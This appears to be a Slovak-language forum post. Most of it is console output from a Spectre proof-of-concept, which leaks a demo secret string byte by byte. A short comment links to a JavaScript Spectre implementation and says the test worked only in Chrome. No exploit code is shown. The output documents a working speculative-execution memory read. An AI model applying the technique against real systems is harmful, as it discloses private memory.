Reading at malicious_x = 0xffffffffffdfec2b... Success: 0x6F=’o’ score=2 
Reading at malicious_x = 0xffffffffffdfec2c... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfec2d... Success: 0x64=’d’ score=2 
Reading at malicious_x = 0xffffffffffdfec2e... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfec2f... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfec30... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfec31... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfec32... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfec33... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfec34... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdfec35... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdfec36... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdfec37... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfec38... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfec39... Success: 0x6D=’m’ score=2 
Reading at malicious_x = 0xffffffffffdfec3a... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfec3b... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfec3c... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfec3d... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfec3e... Success: 0x4F=’O’ score=2 
Reading at malicious_x = 0xffffffffffdfec3f... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfec40... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfec41... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfec42... Success: 0x66=’f’ score=2 
Reading at malicious_x = 0xffffffffffdfec43... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfec44... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfec45... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfec46... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfec47... Success: 0x2E=’.’ score=2 

[sk7]

Tu je zdrojak javascriptu.Mozes skontolovat co ten web robi. Je pravda ze mi kontrola fungovala len v Chrome :
https://github.com/cgvwzq/spectre/blob/master/spectre.js